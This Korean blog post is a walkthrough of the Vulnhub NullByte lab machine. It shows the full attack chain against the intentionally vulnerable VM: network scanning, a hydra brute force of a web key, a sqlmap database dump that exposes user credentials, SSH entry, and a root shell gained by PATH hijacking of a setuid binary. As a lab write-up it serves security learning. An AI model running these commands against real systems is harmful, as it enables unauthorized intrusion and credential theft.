Vulnhub

[Vulnhub] NullByte Walkthrough

jeff_kim 2024. 7. 24. 18:08

https://www.vulnhub.com/entry/nullbyte-1,126/

 

NullByte: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

Reconnaissance

Discovery

└─$ sudo nmap -sn 192.168.45.0/24                                          
Nmap scan report for 192.168.45.37
Host is up (0.00033s latency).
MAC Address: 00:0C:29:1E:71:AB (VMware)

http-80 부터 직접 접속해봅니다

 

WEB

page source, robots.txt 특이사항 없습니다

 

gobuster를 이용한 디렉터리 브루트포싱 진행

phpmyadmin, 관리자 패널이 존재합니다

특이사항 및 기본 계정 정보 사용 유무 확인 -> 이상 없음

 

메인 페이지에 있는 이미지 파일 다운 후 exiftool 로 확인

└─$ exiftool main.gif 
ExifTool Version Number         : 12.76
File Name                       : main.gif
Directory                       : .
File Size                       : 17 kB
File Modification Date/Time     : 2015:08:01 12:39:30-04:00
File Access Date/Time           : 2024:07:24 04:13:06-04:00
File Inode Change Date/Time     : 2024:07:24 04:13:06-04:00
File Permissions                : -rw-rw-r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071

Comment 나이스 합니다

 

Vulnerability & Exploitation

페이지 소스를 확인해보니

mysql과 연결되어있지 않다...음 

경로를 추가해 디렉터리 브루트포싱 한번 더 진행해봤는데 더이상의 디렉터리는 없었고,,,

 

key에다가 hydra 툴을 이용하여 비밀번호 브루트포싱 공격을 실시해봅니다

올바르지 않은 비밀번호를 입력할 시 invalid key 라는 문자가 출력됩니다

└─$ hydra -l ignore -P /usr/share/wordlists/rockyou.txt 192.168.45.37 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"

 

key: elite

 

 

username을 치면 새로운 420search.php로 리다이렉션되는데 뭔가 데이터베이스와 연동이 되어있을 확률이 존재하니 http request를 프록시를 이용해서 복사해온 다음 sqlmap을 이용하여 데이터베이스에 접근해봅니다

└─$ sqlmap -r request.txt --dbs --batch
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth

성공했습니다 쭉쭉 진행해봅니다

└─$ sqlmap -r request.txt -D seth --tables --batch

[04:39:32] [INFO] fetching tables for database: 'seth'
Database: seth
[1 table]
+-------+
| users |
+-------+

└─$ sqlmap -r request.txt -D seth -T users --dump --batch

[04:40:28] [INFO] fetching entries for table 'users' in database 'seth'
Database: seth
Table: users
[2 entries]
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

ramses:omega

SSH로 대상 호스트 초기 침투 실시

ramses 유저 장악 완료, 대상호스트 초기 침투 완료

 

 

Post-Expoitation

ramses@NullByte:~$ cat .bash_history 
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch 
clear
sudo -s
cd /
ls
exit
ramses@NullByte:~$ sudo -l
[sudo] password for ramses: 
Sorry, user ramses may not run sudo on NullByte.
ramses@NullByte:~$ cd /var/www
ramses@NullByte:/var/www$ ls
backup  html
ramses@NullByte:/var/www$ cd backup
ramses@NullByte:/var/www/backup$ ls
procwatch  readme.txt
ramses@NullByte:/var/www/backup$ ls -al
total 20
drwxrwxrwx 2 root root 4096 Aug  2  2015 .
drwxr-xr-x 4 root root 4096 Aug  2  2015 ..
-rwsr-xr-x 1 root root 4932 Aug  2  2015 procwatch
-rw-r--r-- 1 root root   28 Aug  2  2015 readme.txt
ramses@NullByte:/var/www/backup$ cat readme.txt 
I have to fix this mess... 
ramses@NullByte:/var/www/backup$ file procwatch 
procwatch: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17d666a0c940726b29feedde855535fb21cb160c, not stripped
ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1598 pts/0    00:00:00 procwatch
 1599 pts/0    00:00:00 sh
 1600 pts/0    00:00:00 ps
ramses@NullByte:/var/www/backup$

procwatch라는 바이너리는 관리자 권한으로 실행 될 수 있도록 suid 설정이 되어있습니다

즉 관리자 권한으로 ps 명령어를 실행하는 바이너리 입니다

 

 

Privilege Escalation

ramses@NullByte:/var/www/backup$ which ps
/bin/ps
ramses@NullByte:/var/www/backup$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ echo $PATH                                                   
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ./procwatch 
#

/bin/sh를 ps로 심볼릭 링크로 설정한 다음 현재 디렉터리에 대한 환경 변수 조작을 통해서 /var/www/backup에서  suid 설정된 procwatch 바이너리가 실행됨으로써 관리자 권한으로 /bin/sh가 실행되는 과정이다.

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Bob Walkthrough  (0) 2024.07.25
[Vulnhub] Breach: 2 Walkthrough  (4) 2024.07.23
[Vulnhub] Brearch Walkthrough  (6) 2024.07.22
[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16